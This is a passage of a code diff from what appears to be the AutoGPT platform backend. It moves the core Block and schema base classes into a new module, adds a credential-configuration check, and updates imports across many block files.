+from enum import Enum
+from typing import (
+    TYPE_CHECKING,
+    Any,
+    Callable,
+    ClassVar,
+    Generic,
+    Optional,
+    Type,
+    TypeAlias,
+    TypeVar,
+    cast,
+    get_origin,
+)
+
+import jsonref
+import jsonschema
+from pydantic import BaseModel
+
+from backend.data.block import BlockInput, BlockOutput, BlockOutputEntry
+from backend.data.model import (
+    Credentials,
+    CredentialsFieldInfo,
+    CredentialsMetaInput,
+    SchemaField,
+    is_credentials_field_name,
+)
+from backend.integrations.providers import ProviderName
+from backend.util import json
+from backend.util.exceptions import (
+    BlockError,
+    BlockExecutionError,
+    BlockInputError,
+    BlockOutputError,
+    BlockUnknownError,
+)
+from backend.util.settings import Config
+
+logger = logging.getLogger(__name__)
+
+if TYPE_CHECKING:
+    from backend.data.execution import ExecutionContext
+    from backend.data.model import ContributorDetails, NodeExecutionStats
+
+    from ..data.graph import Link
+
+app_config = Config()
+
+
+BlockTestOutput = BlockOutputEntry | tuple[str, Callable[[Any], bool]]
+
+
+class BlockType(Enum):
+    STANDARD = "Standard"
+    INPUT = "Input"
+    OUTPUT = "Output"
+    NOTE = "Note"
+    WEBHOOK = "Webhook"
+    WEBHOOK_MANUAL = "Webhook (manual)"
+    AGENT = "Agent"
+    AI = "AI"
+    AYRSHARE = "Ayrshare"
+    HUMAN_IN_THE_LOOP = "Human In The Loop"
+
+
+class BlockCategory(Enum):
+    AI = "Block that leverages AI to perform a task."
+    SOCIAL = "Block that interacts with social media platforms."
+    TEXT = "Block that processes text data."
+    SEARCH = "Block that searches or extracts information from the internet."
+    BASIC = "Block that performs basic operations."
+    INPUT = "Block that interacts with input of the graph."
+    OUTPUT = "Block that interacts with output of the graph."
+    LOGIC = "Programming logic to control the flow of your agent"
+    COMMUNICATION = "Block that interacts with communication platforms."
+    DEVELOPER_TOOLS = "Developer tools such as GitHub blocks."
+    DATA = "Block that interacts with structured data."
+    HARDWARE = "Block that interacts with hardware."
+    AGENT = "Block that interacts with other agents."
+    CRM = "Block that interacts with CRM services."
+    SAFETY = (
+        "Block that provides AI safety mechanisms such as detecting harmful content"
+    )
+    PRODUCTIVITY = "Block that helps with productivity"
+    ISSUE_TRACKING = "Block that helps with issue tracking"
+    MULTIMEDIA = "Block that interacts with multimedia content"
+    MARKETING = "Block that helps with marketing"
+
+    def dict(self) -> dict[str, str]:
+        return {"category": self.name, "description": self.value}
+
+
+class BlockCostType(str, Enum):
+    RUN = "run"  # cost X credits per run
+    BYTE = "byte"  # cost X credits per byte
+    SECOND = "second"  # cost X credits per second
+
+
+class BlockCost(BaseModel):
+    cost_amount: int
+    cost_filter: BlockInput
+    cost_type: BlockCostType
+
+    def __init__(
+        self,
+        cost_amount: int,
+        cost_type: BlockCostType = BlockCostType.RUN,
+        cost_filter: Optional[BlockInput] = None,
+        **data: Any,
+    ) -> None:
+        super().__init__(
+            cost_amount=cost_amount,
+            cost_filter=cost_filter or {},
+            cost_type=cost_type,
+            **data,
+        )
+
+
+class BlockInfo(BaseModel):
+    id: str
+    name: str
+    inputSchema: dict[str, Any]
+    outputSchema: dict[str, Any]
+    costs: list[BlockCost]
+    description: str
+    categories: list[dict[str, str]]
+    contributors: list[dict[str, Any]]
+    staticOutput: bool
+    uiType: str
+
+
+class BlockSchema(BaseModel):
+    cached_jsonschema: ClassVar[dict[str, Any]]
+
+    @classmethod
+    def jsonschema(cls) -> dict[str, Any]:
+        if cls.cached_jsonschema:
+            return cls.cached_jsonschema
+
+        model = jsonref.replace_refs(cls.model_json_schema(), merge_props=True)
+
+        def ref_to_dict(obj):
+            if isinstance(obj, dict):
+                # OpenAPI <3.1 does not support sibling fields that has a $ref key
+                # So sometimes, the schema has an "allOf"/"anyOf"/"oneOf" with 1 item.
+                keys = {"allOf", "anyOf", "oneOf"}
+                one_key = next((k for k in keys if k in obj and len(obj[k]) == 1), None)
+                if one_key:
+                    obj.update(obj[one_key][0])
+
+                return {
+                    key: ref_to_dict(value)
+                    for key, value in obj.items()
+                    if not key.startswith("$") and key != one_key
+                }
+            elif isinstance(obj, list):
+                return [ref_to_dict(item) for item in obj]
+
+            return obj
+
+        cls.cached_jsonschema = cast(dict[str, Any], ref_to_dict(model))
+
+        return cls.cached_jsonschema
+
+    @classmethod
+    def validate_data(cls, data: BlockInput) -> str | None:
+        return json.validate_with_jsonschema(
+            schema=cls.jsonschema(),
+            data={k: v for k, v in data.items() if v is not None},
+        )
+
+    @classmethod
+    def get_mismatch_error(cls, data: BlockInput) -> str | None:
+        return cls.validate_data(data)
+
+    @classmethod
+    def get_field_schema(cls, field_name: str) -> dict[str, Any]:
+        model_schema = cls.jsonschema().get("properties", {})
+        if not model_schema:
+            raise ValueError(f"Invalid model schema {cls}")
+
+        property_schema = model_schema.get(field_name)
+        if not property_schema:
+            raise ValueError(f"Invalid property name {field_name}")
+
+        return property_schema
+
+    @classmethod
+    def validate_field(cls, field_name: str, data: BlockInput) -> str | None:
+        """
+        Validate the data against a specific property (one of the input/output name).
+        Returns the validation error message if the data does not match the schema.
+        """
+        try:
+            property_schema = cls.get_field_schema(field_name)
+            jsonschema.validate(json.to_dict(data), property_schema)
+            return None
+        except jsonschema.ValidationError as e:
+            return str(e)
+
+    @classmethod
+    def get_fields(cls) -> set[str]:
+        return set(cls.model_fields.keys())
+
+    @classmethod
+    def get_required_fields(cls) -> set[str]:
+        return {
+            field
+            for field, field_info in cls.model_fields.items()
+            if field_info.is_required()
+        }
+
+    @classmethod
+    def __pydantic_init_subclass__(cls, **kwargs):
+        """Validates the schema definition. Rules:
+        - Fields with annotation `CredentialsMetaInput` MUST be
+          named `credentials` or `*_credentials`
+        - Fields named `credentials` or `*_credentials` MUST be
+          of type `CredentialsMetaInput`
+        """
+        super().__pydantic_init_subclass__(**kwargs)
+
+        # Reset cached JSON schema to prevent inheriting it from parent class
+        cls.cached_jsonschema = {}
+
+        credentials_fields = cls.get_credentials_fields()
+
+        for field_name in cls.get_fields():
+            if is_credentials_field_name(field_name):
+                if field_name not in credentials_fields:
+                    raise TypeError(
+                        f"Credentials field '{field_name}' on {cls.__qualname__} "
+                        f"is not of type {CredentialsMetaInput.__name__}"
+                    )
+
+                CredentialsMetaInput.validate_credentials_field_schema(
+                    cls.get_field_schema(field_name), field_name
+                )
+
+            elif field_name in credentials_fields:
+                raise KeyError(
+                    f"Credentials field '{field_name}' on {cls.__qualname__} "
+                    "has invalid name: must be 'credentials' or *_credentials"
+                )
+
+    @classmethod
+    def get_credentials_fields(cls) -> dict[str, type[CredentialsMetaInput]]:
+        return {
+            field_name: info.annotation
+            for field_name, info in cls.model_fields.items()
+            if (
+                inspect.isclass(info.annotation)
+                and issubclass(
+                    get_origin(info.annotation) or info.annotation,
+                    CredentialsMetaInput,
+                )
+            )
+        }
+
+    @classmethod
+    def get_auto_credentials_fields(cls) -> dict[str, dict[str, Any]]:
+        """
+        Get fields that have auto_credentials metadata (e.g., GoogleDriveFileInput).
+
+        Returns a dict mapping kwarg_name -> {field_name, auto_credentials_config}
+
+        Raises:
+            ValueError: If multiple fields have the same kwarg_name, as this would
+                cause silent overwriting and only the last field would be processed.
+        """
+        result: dict[str, dict[str, Any]] = {}
+        schema = cls.jsonschema()
+        properties = schema.get("properties", {})
+
+        for field_name, field_schema in properties.items():
+            auto_creds = field_schema.get("auto_credentials")
+            if auto_creds:
+                kwarg_name = auto_creds.get("kwarg_name", "credentials")
+                if kwarg_name in result:
+                    raise ValueError(
+                        f"Duplicate auto_credentials kwarg_name '{kwarg_name}' "
+                        f"in fields '{result[kwarg_name]['field_name']}' and "
+                        f"'{field_name}' on {cls.__qualname__}"
+                    )
+                result[kwarg_name] = {
+                    "field_name": field_name,
+                    "config": auto_creds,
+                }
+        return result
+
+    @classmethod
+    def get_credentials_fields_info(cls) -> dict[str, CredentialsFieldInfo]:
+        result = {}
+
+        # Regular credentials fields
+        for field_name in cls.get_credentials_fields().keys():
+            result[field_name] = CredentialsFieldInfo.model_validate(
+                cls.get_field_schema(field_name), by_alias=True
+            )
+
+        # Auto-generated credentials fields (from GoogleDriveFileInput etc.)
+        for kwarg_name, info in cls.get_auto_credentials_fields().items():
+            config = info["config"]
+            # Build a schema-like dict that CredentialsFieldInfo can parse
+            auto_schema = {
+                "credentials_provider": [config.get("provider", "google")],
+                "credentials_types": [config.get("type", "oauth2")],
+                "credentials_scopes": config.get("scopes"),
+            }
+            result[kwarg_name] = CredentialsFieldInfo.model_validate(
+                auto_schema, by_alias=True
+            )
+
+        return result
+
+    @classmethod
+    def get_input_defaults(cls, data: BlockInput) -> BlockInput:
+        return data  # Return as is, by default.
+
+    @classmethod
+    def get_missing_links(cls, data: BlockInput, links: list["Link"]) -> set[str]:
+        input_fields_from_nodes = {link.sink_name for link in links}
+        return input_fields_from_nodes - set(data)
+
+    @classmethod
+    def get_missing_input(cls, data: BlockInput) -> set[str]:
+        return cls.get_required_fields() - set(data)
+
+
+class BlockSchemaInput(BlockSchema):
+    """
+    Base schema class for block inputs.
+    All block input schemas should extend this class for consistency.
+    """
+
+    pass
+
+
+class BlockSchemaOutput(BlockSchema):
+    """
+    Base schema class for block outputs that includes a standard error field.
+    All block output schemas should extend this class to ensure consistent error handling.
+    """
+
+    error: str = SchemaField(
+        description="Error message if the operation failed", default=""
+    )
+
+
+BlockSchemaInputType = TypeVar("BlockSchemaInputType", bound=BlockSchemaInput)
+BlockSchemaOutputType = TypeVar("BlockSchemaOutputType", bound=BlockSchemaOutput)
+
+
+class EmptyInputSchema(BlockSchemaInput):
+    pass
+
+
+class EmptyOutputSchema(BlockSchemaOutput):
+    pass
+
+
+# For backward compatibility - will be deprecated
+EmptySchema = EmptyOutputSchema
+
+
+# --8<-- [start:BlockWebhookConfig]
+class BlockManualWebhookConfig(BaseModel):
+    """
+    Configuration model for webhook-triggered blocks on which
+    the user has to manually set up the webhook at the provider.
+    """
+
+    provider: ProviderName
+    """The service provider that the webhook connects to"""
+
+    webhook_type: str
+    """
+    Identifier for the webhook type. E.g. GitHub has repo and organization level hooks.
+
+    Only for use in the corresponding `WebhooksManager`.
+    """
+
+    event_filter_input: str = ""
+    """
+    Name of the block's event filter input.
+    Leave empty if the corresponding webhook doesn't have distinct event/payload types.
+    """
+
+    event_format: str = "{event}"
+    """
+    Template string for the event(s) that a block instance subscribes to.
+    Applied individually to each event selected in the event filter input.
+
+    Example: `"pull_request.{event}"` -> `"pull_request.opened"`
+    """
+
+
+class BlockWebhookConfig(BlockManualWebhookConfig):
+    """
+    Configuration model for webhook-triggered blocks for which
+    the webhook can be automatically set up through the provider's API.
+    """
+
+    resource_format: str
+    """
+    Template string for the resource that a block instance subscribes to.
+    Fields will be filled from the block's inputs (except `payload`).
+
+    Example: `f"{repo}/pull_requests"` (note: not how it's actually implemented)
+
+    Only for use in the corresponding `WebhooksManager`.
+    """
+    # --8<-- [end:BlockWebhookConfig]
+
+
+class Block(ABC, Generic[BlockSchemaInputType, BlockSchemaOutputType]):
+    def __init__(
+        self,
+        id: str = "",
+        description: str = "",
+        contributors: list["ContributorDetails"] = [],
+        categories: set[BlockCategory] | None = None,
+        input_schema: Type[BlockSchemaInputType] = EmptyInputSchema,
+        output_schema: Type[BlockSchemaOutputType] = EmptyOutputSchema,
+        test_input: BlockInput | list[BlockInput] | None = None,
+        test_output: BlockTestOutput | list[BlockTestOutput] | None = None,
+        test_mock: dict[str, Any] | None = None,
+        test_credentials: Optional[Credentials | dict[str, Credentials]] = None,
+        disabled: bool = False,
+        static_output: bool = False,
+        block_type: BlockType = BlockType.STANDARD,
+        webhook_config: Optional[BlockWebhookConfig | BlockManualWebhookConfig] = None,
+        is_sensitive_action: bool = False,
+    ):
+        """
+        Initialize the block with the given schema.
+
+        Args:
+            id: The unique identifier for the block, this value will be persisted in the
+                DB. So it should be a unique and constant across the application run.
+                Use the UUID format for the ID.
+            description: The description of the block, explaining what the block does.
+            contributors: The list of contributors who contributed to the block.
+            input_schema: The schema, defined as a Pydantic model, for the input data.
+            output_schema: The schema, defined as a Pydantic model, for the output data.
+            test_input: The list or single sample input data for the block, for testing.
+            test_output: The list or single expected output if the test_input is run.
+            test_mock: function names on the block implementation to mock on test run.
+            disabled: If the block is disabled, it will not be available for execution.
+            static_output: Whether the output links of the block are static by default.
+        """
+        from backend.data.model import NodeExecutionStats
+
+        self.id = id
+        self.input_schema = input_schema
+        self.output_schema = output_schema
+        self.test_input = test_input
+        self.test_output = test_output
+        self.test_mock = test_mock
+        self.test_credentials = test_credentials
+        self.description = description
+        self.categories = categories or set()
+        self.contributors = contributors or set()
+        self.disabled = disabled
+        self.static_output = static_output
+        self.block_type = block_type
+        self.webhook_config = webhook_config
+        self.is_sensitive_action = is_sensitive_action
+        self.execution_stats: "NodeExecutionStats" = NodeExecutionStats()
+
+        if self.webhook_config:
+            if isinstance(self.webhook_config, BlockWebhookConfig):
+                # Enforce presence of credentials field on auto-setup webhook blocks
+                if not (cred_fields := self.input_schema.get_credentials_fields()):
+                    raise TypeError(
+                        "credentials field is required on auto-setup webhook blocks"
+                    )
+                # Disallow multiple credentials inputs on webhook blocks
+                elif len(cred_fields) > 1:
+                    raise ValueError(
+                        "Multiple credentials inputs not supported on webhook blocks"
+                    )
+
+                self.block_type = BlockType.WEBHOOK
+            else:
+                self.block_type = BlockType.WEBHOOK_MANUAL
+
+            # Enforce shape of webhook event filter, if present
+            if self.webhook_config.event_filter_input:
+                event_filter_field = self.input_schema.model_fields[
+                    self.webhook_config.event_filter_input
+                ]
+                if not (
+                    isinstance(event_filter_field.annotation, type)
+                    and issubclass(event_filter_field.annotation, BaseModel)
+                    and all(
+                        field.annotation is bool
+                        for field in event_filter_field.annotation.model_fields.values()
+                    )
+                ):
+                    raise NotImplementedError(
+                        f"{self.name} has an invalid webhook event selector: "
+                        "field must be a BaseModel and all its fields must be boolean"
+                    )
+
+            # Enforce presence of 'payload' input
+            if "payload" not in self.input_schema.model_fields:
+                raise TypeError(
+                    f"{self.name} is webhook-triggered but has no 'payload' input"
+                )
+
+            # Disable webhook-triggered block if webhook functionality not available
+            if not app_config.platform_base_url:
+                self.disabled = True
+
+    @abstractmethod
+    async def run(self, input_data: BlockSchemaInputType, **kwargs) -> BlockOutput:
+        """
+        Run the block with the given input data.
+        Args:
+            input_data: The input data with the structure of input_schema.
+
+        Kwargs: Currently 14/02/2025 these include
+            graph_id: The ID of the graph.
+            node_id: The ID of the node.
+            graph_exec_id: The ID of the graph execution.
+            node_exec_id: The ID of the node execution.
+            user_id: The ID of the user.
+
+        Returns:
+            A Generator that yields (output_name, output_data).
+            output_name: One of the output name defined in Block's output_schema.
+            output_data: The data for the output_name, matching the defined schema.
+        """
+        # --- satisfy the type checker, never executed -------------
+        if False:  # noqa: SIM115
+            yield "name", "value"  # pyright: ignore[reportMissingYield]
+        raise NotImplementedError(f"{self.name} does not implement the run method.")
+
+    async def run_once(
+        self, input_data: BlockSchemaInputType, output: str, **kwargs
+    ) -> Any:
+        async for item in self.run(input_data, **kwargs):
+            name, data = item
+            if name == output:
+                return data
+        raise ValueError(f"{self.name} did not produce any output for {output}")
+
+    def merge_stats(self, stats: "NodeExecutionStats") -> "NodeExecutionStats":
+        self.execution_stats += stats
+        return self.execution_stats
+
+    @property
+    def name(self):
+        return self.__class__.__name__
+
+    def to_dict(self):
+        return {
+            "id": self.id,
+            "name": self.name,
+            "inputSchema": self.input_schema.jsonschema(),
+            "outputSchema": self.output_schema.jsonschema(),
+            "description": self.description,
+            "categories": [category.dict() for category in self.categories],
+            "contributors": [
+                contributor.model_dump() for contributor in self.contributors
+            ],
+            "staticOutput": self.static_output,
+            "uiType": self.block_type.value,
+        }
+
+    def get_info(self) -> BlockInfo:
+        from backend.data.credit import get_block_cost
+
+        return BlockInfo(
+            id=self.id,
+            name=self.name,
+            inputSchema=self.input_schema.jsonschema(),
+            outputSchema=self.output_schema.jsonschema(),
+            costs=get_block_cost(self),
+            description=self.description,
+            categories=[category.dict() for category in self.categories],
+            contributors=[
+                contributor.model_dump() for contributor in self.contributors
+            ],
+            staticOutput=self.static_output,
+            uiType=self.block_type.value,
+        )
+
+    async def execute(self, input_data: BlockInput, **kwargs) -> BlockOutput:
+        try:
+            async for output_name, output_data in self._execute(input_data, **kwargs):
+                yield output_name, output_data
+        except Exception as ex:
+            if isinstance(ex, BlockError):
+                raise ex
+            else:
+                raise (
+                    BlockExecutionError
+                    if isinstance(ex, ValueError)
+                    else BlockUnknownError
+                )(
+                    message=str(ex),
+                    block_name=self.name,
+                    block_id=self.id,
+                ) from ex
+
+    async def is_block_exec_need_review(
+        self,
+        input_data: BlockInput,
+        *,
+        user_id: str,
+        node_id: str,
+        node_exec_id: str,
+        graph_exec_id: str,
+        graph_id: str,
+        graph_version: int,
+        execution_context: "ExecutionContext",
+        **kwargs,
+    ) -> tuple[bool, BlockInput]:
+        """
+        Check if this block execution needs human review and handle the review process.
+
+        Returns:
+            Tuple of (should_pause, input_data_to_use)
+            - should_pause: True if execution should be paused for review
+            - input_data_to_use: The input data to use (may be modified by reviewer)
+        """
+        if not (
+            self.is_sensitive_action and execution_context.sensitive_action_safe_mode
+        ):
+            return False, input_data
+
+        from backend.blocks.helpers.review import HITLReviewHelper
+
+        # Handle the review request and get decision
+        decision = await HITLReviewHelper.handle_review_decision(
+            input_data=input_data,
+            user_id=user_id,
+            node_id=node_id,
+            node_exec_id=node_exec_id,
+            graph_exec_id=graph_exec_id,
+            graph_id=graph_id,
+            graph_version=graph_version,
+            block_name=self.name,
+            editable=True,
+        )
+
+        if decision is None:
+            # We're awaiting review - pause execution
+            return True, input_data
+
+        if not decision.should_proceed:
+            # Review was rejected, raise an error to stop execution
+            raise BlockExecutionError(
+                message=f"Block execution rejected by reviewer: {decision.message}",
+                block_name=self.name,
+                block_id=self.id,
+            )
+
+        # Review was approved - use the potentially modified data
+        # ReviewResult.data must be a dict for block inputs
+        reviewed_data = decision.review_result.data
+        if not isinstance(reviewed_data, dict):
+            raise BlockExecutionError(
+                message=f"Review data must be a dict for block input, got {type(reviewed_data).__name__}",
+                block_name=self.name,
+                block_id=self.id,
+            )
+        return False, reviewed_data
+
+    async def _execute(self, input_data: BlockInput, **kwargs) -> BlockOutput:
+        # Check for review requirement only if running within a graph execution context
+        # Direct block execution (e.g., from chat) skips the review process
+        has_graph_context = all(
+            key in kwargs
+            for key in (
+                "node_exec_id",
+                "graph_exec_id",
+                "graph_id",
+                "execution_context",
+            )
+        )
+        if has_graph_context:
+            should_pause, input_data = await self.is_block_exec_need_review(
+                input_data, **kwargs
+            )
+            if should_pause:
+                return
+
+        # Validate the input data (original or reviewer-modified) once
+        if error := self.input_schema.validate_data(input_data):
+            raise BlockInputError(
+                message=f"Unable to execute block with invalid input data: {error}",
+                block_name=self.name,
+                block_id=self.id,
+            )
+
+        # Use the validated input data
+        async for output_name, output_data in self.run(
+            self.input_schema(**{k: v for k, v in input_data.items() if v is not None}),
+            **kwargs,
+        ):
+            if output_name == "error":
+                raise BlockExecutionError(
+                    message=output_data, block_name=self.name, block_id=self.id
+                )
+            if self.block_type == BlockType.STANDARD and (
+                error := self.output_schema.validate_field(output_name, output_data)
+            ):
+                raise BlockOutputError(
+                    message=f"Block produced an invalid output data: {error}",
+                    block_name=self.name,
+                    block_id=self.id,
+                )
+            yield output_name, output_data
+
+    def is_triggered_by_event_type(
+        self, trigger_config: dict[str, Any], event_type: str
+    ) -> bool:
+        if not self.webhook_config:
+            raise TypeError("This method can't be used on non-trigger blocks")
+        if not self.webhook_config.event_filter_input:
+            return True
+        event_filter = trigger_config.get(self.webhook_config.event_filter_input)
+        if not event_filter:
+            raise ValueError("Event filter is not configured on trigger")
+        return event_type in [
+            self.webhook_config.event_format.format(event=k)
+            for k in event_filter
+            if event_filter[k] is True
+        ]
+
+
+# Type alias for any block with standard input/output schemas
+AnyBlockSchema: TypeAlias = Block[BlockSchemaInput, BlockSchemaOutput]

autogpt_platform/backend/backend/blocks/_utils.py

@@ -0,0 +1,122 @@
+import logging
+import os
+
+from backend.integrations.providers import ProviderName
+
+from ._base import AnyBlockSchema
+
+logger = logging.getLogger(__name__)
+
+
+def is_block_auth_configured(
+    block_cls: type[AnyBlockSchema],
+) -> bool:
+    """
+    Check if a block has a valid authentication method configured at runtime.
+
+    For example if a block is an OAuth-only block and there env vars are not set,
+    do not show it in the UI.
+
+    """
+    from backend.sdk.registry import AutoRegistry
+
+    # Create an instance to access input_schema
+    try:
+        block = block_cls()
+    except Exception as e:
+        # If we can't create a block instance, assume it's not OAuth-only
+        logger.error(f"Error creating block instance for {block_cls.__name__}: {e}")
+        return True
+    logger.debug(
+        f"Checking if block {block_cls.__name__} has a valid provider configured"
+    )
+
+    # Get all credential inputs from input schema
+    credential_inputs = block.input_schema.get_credentials_fields_info()
+    required_inputs = block.input_schema.get_required_fields()
+    if not credential_inputs:
+        logger.debug(
+            f"Block {block_cls.__name__} has no credential inputs - Treating as valid"
+        )
+        return True
+
+    # Check credential inputs
+    if len(required_inputs.intersection(credential_inputs.keys())) == 0:
+        logger.debug(
+            f"Block {block_cls.__name__} has only optional credential inputs"
+            " - will work without credentials configured"
+        )
+
+    # Check if the credential inputs for this block are correctly configured
+    for field_name, field_info in credential_inputs.items():
+        provider_names = field_info.provider
+        if not provider_names:
+            logger.warning(
+                f"Block {block_cls.__name__} "
+                f"has credential input '{field_name}' with no provider options"
+                " - Disabling"
+            )
+            return False
+
+        # If a field has multiple possible providers, each one needs to be usable to
+        # prevent breaking the UX
+        for _provider_name in provider_names:
+            provider_name = _provider_name.value
+            if provider_name in ProviderName.__members__.values():
+                logger.debug(
+                    f"Block {block_cls.__name__} credential input '{field_name}' "
+                    f"provider '{provider_name}' is part of the legacy provider system"
+                    " - Treating as valid"
+                )
+                break
+
+            provider = AutoRegistry.get_provider(provider_name)
+            if not provider:
+                logger.warning(
+                    f"Block {block_cls.__name__} credential input '{field_name}' "
+                    f"refers to unknown provider '{provider_name}' - Disabling"
+                )
+                return False
+
+            # Check the provider's supported auth types
+            if field_info.supported_types != provider.supported_auth_types:
+                logger.warning(
+                    f"Block {block_cls.__name__} credential input '{field_name}' "
+                    f"has mismatched supported auth types (field <> Provider): "
+                    f"{field_info.supported_types} != {provider.supported_auth_types}"
+                )
+
+            if not (supported_auth_types := provider.supported_auth_types):
+                # No auth methods are been configured for this provider
+                logger.warning(
+                    f"Block {block_cls.__name__} credential input '{field_name}' "
+                    f"provider '{provider_name}' "
+                    "has no authentication methods configured - Disabling"
+                )
+                return False
+
+            # Check if provider supports OAuth
+            if "oauth2" in supported_auth_types:
+                # Check if OAuth environment variables are set
+                if (oauth_config := provider.oauth_config) and bool(
+                    os.getenv(oauth_config.client_id_env_var)
+                    and os.getenv(oauth_config.client_secret_env_var)
+                ):
+                    logger.debug(
+                        f"Block {block_cls.__name__} credential input '{field_name}' "
+                        f"provider '{provider_name}' is configured for OAuth"
+                    )
+                else:
+                    logger.error(
+                        f"Block {block_cls.__name__} credential input '{field_name}' "
+                        f"provider '{provider_name}' "
+                        "is missing OAuth client ID or secret - Disabling"
+                    )
+                    return False
+
+        logger.debug(
+            f"Block {block_cls.__name__} credential input '{field_name}' is valid; "
+            f"supported credential types: {', '.join(field_info.supported_types)}"
+        )
+
+    return True

autogpt_platform/backend/backend/blocks/agent.py

@@ -1,7 +1,7 @@
 import logging
-from typing import Any, Optional
+from typing import TYPE_CHECKING, Any, Optional
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockInput,
@@ -9,13 +9,15 @@ from backend.data.block import (
     BlockSchema,
     BlockSchemaInput,
     BlockType,
-    get_block,
 )
 from backend.data.execution import ExecutionContext, ExecutionStatus, NodesInputMasks
 from backend.data.model import NodeExecutionStats, SchemaField
 from backend.util.json import validate_with_jsonschema
 from backend.util.retry import func_retry
 
+if TYPE_CHECKING:
+    from backend.executor.utils import LogMetadata
+
 _logger = logging.getLogger(__name__)
 
 
@@ -124,9 +126,10 @@ class AgentExecutorBlock(Block):
         graph_version: int,
         graph_exec_id: str,
         user_id: str,
-        logger,
+        logger: "LogMetadata",
     ) -> BlockOutput:
 
+        from backend.blocks import get_block
         from backend.data.execution import ExecutionEventType
         from backend.executor import utils as execution_utils
 
@@ -198,7 +201,7 @@ class AgentExecutorBlock(Block):
         self,
         graph_exec_id: str,
         user_id: str,
-        logger,
+        logger: "LogMetadata",
     ) -> None:
         from backend.executor import utils as execution_utils
 

autogpt_platform/backend/backend/blocks/ai_condition.py

@@ -1,5 +1,11 @@
 from typing import Any
 
+from backend.blocks._base import (
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.llm import (
     DEFAULT_LLM_MODEL,
     TEST_CREDENTIALS,
@@ -11,12 +17,6 @@ from backend.blocks.llm import (
     LLMResponse,
     llm_call,
 )
-from backend.data.block import (
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.model import APIKeyCredentials, NodeExecutionStats, SchemaField
 
 

autogpt_platform/backend/backend/blocks/ai_image_customizer.py

@@ -6,7 +6,7 @@ from pydantic import SecretStr
 from replicate.client import Client as ReplicateClient
 from replicate.helpers import FileOutput
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/ai_image_generator_block.py

@@ -5,7 +5,12 @@ from pydantic import SecretStr
 from replicate.client import Client as ReplicateClient
 from replicate.helpers import FileOutput
 
-from backend.data.block import Block, BlockCategory, BlockSchemaInput, BlockSchemaOutput
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.data.execution import ExecutionContext
 from backend.data.model import (
     APIKeyCredentials,

autogpt_platform/backend/backend/blocks/ai_music_generator.py

@@ -6,7 +6,7 @@ from typing import Literal
 from pydantic import SecretStr
 from replicate.client import Client as ReplicateClient
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py

@@ -6,7 +6,7 @@ from typing import Literal
 
 from pydantic import SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/apollo/organization.py

@@ -1,3 +1,10 @@
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.apollo._api import ApolloClient
 from backend.blocks.apollo._auth import (
     TEST_CREDENTIALS,
@@ -10,13 +17,6 @@ from backend.blocks.apollo.models import (
     PrimaryPhone,
     SearchOrganizationsRequest,
 )
-from backend.data.block import (
-    Block,
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.model import CredentialsField, SchemaField
 
 

autogpt_platform/backend/backend/blocks/apollo/people.py

@@ -1,5 +1,12 @@
 import asyncio
 
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.apollo._api import ApolloClient
 from backend.blocks.apollo._auth import (
     TEST_CREDENTIALS,
@@ -14,13 +21,6 @@ from backend.blocks.apollo.models import (
     SearchPeopleRequest,
     SenorityLevels,
 )
-from backend.data.block import (
-    Block,
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.model import CredentialsField, SchemaField
 
 

autogpt_platform/backend/backend/blocks/apollo/person.py

@@ -1,3 +1,10 @@
+from backend.blocks._base import (
+    Block,
+    BlockCategory,
+    BlockOutput,
+    BlockSchemaInput,
+    BlockSchemaOutput,
+)
 from backend.blocks.apollo._api import ApolloClient
 from backend.blocks.apollo._auth import (
     TEST_CREDENTIALS,
@@ -6,13 +13,6 @@ from backend.blocks.apollo._auth import (
     ApolloCredentialsInput,
 )
 from backend.blocks.apollo.models import Contact, EnrichPersonRequest
-from backend.data.block import (
-    Block,
-    BlockCategory,
-    BlockOutput,
-    BlockSchemaInput,
-    BlockSchemaOutput,
-)
 from backend.data.model import CredentialsField, SchemaField
 
 

autogpt_platform/backend/backend/blocks/ayrshare/_util.py

@@ -3,7 +3,7 @@ from typing import Optional
 
 from pydantic import BaseModel, Field
 
-from backend.data.block import BlockSchemaInput
+from backend.blocks._base import BlockSchemaInput
 from backend.data.model import SchemaField, UserIntegrations
 from backend.integrations.ayrshare import AyrshareClient
 from backend.util.clients import get_database_manager_async_client

autogpt_platform/backend/backend/blocks/basic.py

@@ -1,7 +1,7 @@
 import enum
 from typing import Any
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/block.py

@@ -2,7 +2,7 @@ import os
 import re
 from typing import Type
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/branching.py

@@ -1,7 +1,7 @@
 from enum import Enum
 from typing import Any
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/claude_code.py

@@ -6,7 +6,7 @@ from typing import Literal, Optional
 from e2b import AsyncSandbox as BaseAsyncSandbox
 from pydantic import BaseModel, SecretStr
 
-from backend.data.block import (
+from backend.blocks._base import (
     Block,
     BlockCategory,
     BlockOutput,

autogpt_platform/backend/backend/blocks/code_executor.py

@@ -6,7 +6,7 @@ from e2b_code_interpreter import Result as E2BExecutionResult
 from e2b_code_interpreter.charts import Chart as E2BExecutionResultChart
